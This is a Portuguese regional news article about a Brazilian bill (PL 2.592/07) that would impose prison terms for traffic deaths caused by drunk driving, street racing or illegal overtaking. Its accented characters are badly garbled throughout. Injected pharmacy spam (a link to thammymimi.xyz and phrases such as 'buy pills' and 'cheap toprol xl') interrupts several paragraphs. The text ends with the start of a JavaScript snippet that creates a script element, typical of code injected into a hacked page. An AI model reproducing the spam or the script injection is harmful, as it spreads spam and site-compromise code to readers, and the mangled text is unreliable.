CA?mara deve votar nesta semana pelo projeto de Lei que estabelece reclusA?o para mortes causadas pelo trA?nsito
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CARIRI EM FOCO
POR WILKER MUNIZ
O PlenA?rio da CA?mara deve analisar, nesta semana, proposta que estabelece pena de reclusA?o para casos de mortes e lesAi??es graves causadas por acidentes de trA?nsito decorrentes do uso de A?lcool, da prA?tica de racha ou de ultrapassagem proibida.
De autoria do lAi??der do PSB, deputado Beto Albuquerque (RS), o Projeto de Lei nA? 2.592/07 altera artigos do CA?digo Brasileiro de TrA?nsito. A matAi??ria tramita na Casa hA? seis anos e serA? analisada na forma de substitutivo apresentado pelo relator.
O PL aumenta a pena nos casos de homicAi??dio culposo, de dois a quatro anos, para dois a seis anos de detenAi??A?o. TambAi??m busca introduzir a pena de reclusA?o de cinco a doze anos nos casos envolvendo A?lcool, racha ou ultrapassagem em local proibido. Com a aprovaAi??A?o da lei, a pena de reclusA?o serA? inafianAi??A?vel. TambAi??m haverA? suspensA?o ou proibiAi??A?o de se obter a habilitaAi??A?o. AtAi?? entA?o, as penas mais duras sA?o apenas de detenAi??A?o, ou seja, em regime aberto ou semiaberto.
A ideia, segundo o deputado, Ai?? transformar a detenAi??A?o do responsA?vel pelo acidente em reclusA?o, ou seja, caracterizar a culpa do motorista como dolosa, que Ai?? quando hA? intenAi??A?o de matar. ai???NA?s estamos trazendo, pela primeira vez, ao CA?digo de TrA?nsito, penas de reclusA?o para aqueles que matam no trA?nsito. Inicialmente em duas circunstA?ncias, que sA?o as circunstA?ncias que expAi??em mais claramente o desejo de correr risco, que Ai?? o andar embriagado ou sob influA?ncia de drogas ou de produtos psicA?ticos. EntA?o esse camarada que estiver embriagado ou com droga na cabeAi??a e matar alguAi??m no trA?nsito, ele terA? pena de reclusA?o, de cadeia, entre dois e quatro anosai???, afirmou o deputado.
http://thammymimi.xyz/qual-e-o-generico-do-motilium/ Para Beto Albuquerque, a atual legislaAi??A?o do CA?digo de TrA?nsito Brasileiro transmite a sensaAi??A?o de impunidade para quem provoca um acidente de trA?nsito ai??i?? o que precisa ser mudado urgentemente. ai???Hoje, no trA?nsito brasileiro, quem mais perde Ai?? a famAi??lia, quando perde um ente querido. Mas, quem provoca essa perda, quem mata, em muitos dos casos, estA? impune. Se for rico entA?o, nA?o vai pagar pena nenhuma. Mas, com a pena de privaAi??A?o da liberdade, com a pena de reclusA?o, nA?s vamos tA? iniciando uma escalada de justiAi??a contra esses bA?rbaros crimes de homicAi??dio que nA?s vemos no trA?nsito. Em sAi??ntese, o que eu estou dizendo Ai?? que no trA?nsito tambAi??m se cometem assassinatosai???, ressaltou o deputado.
buy pills Ele acredita que o endurecimento das penalidades pode, com o tempo, ajudar a reduzir esses nA?meros. O projeto de lei do parlamentar tambAi??m prevA? cadeia para quem disputar racha e provocar acidente com vAi??tima fatal: a pena seria de dois a quatro anos.
cheap toprol xl 100mg Se o texto for aprovado no plenA?rio da CA?mara, a proposta segue para o Senado Federal. HA?, ainda, outras matAi??rias que tambAi??m visam alterar a legislaAi??A?o de trA?nsito, como o Plano Nacional de ReduAi??A?o de Mortes e LesAi??es no TrA?nsito, que estA? na ComissA?o de ConstituiAi??A?o, JustiAi??a e Cidadania, e pretende aumentar a fiscalizaAi??A?o no trA?nsito para prevenir acidentes. is clarinex available over the counter var d=document;var s=d.createElement(‘script’);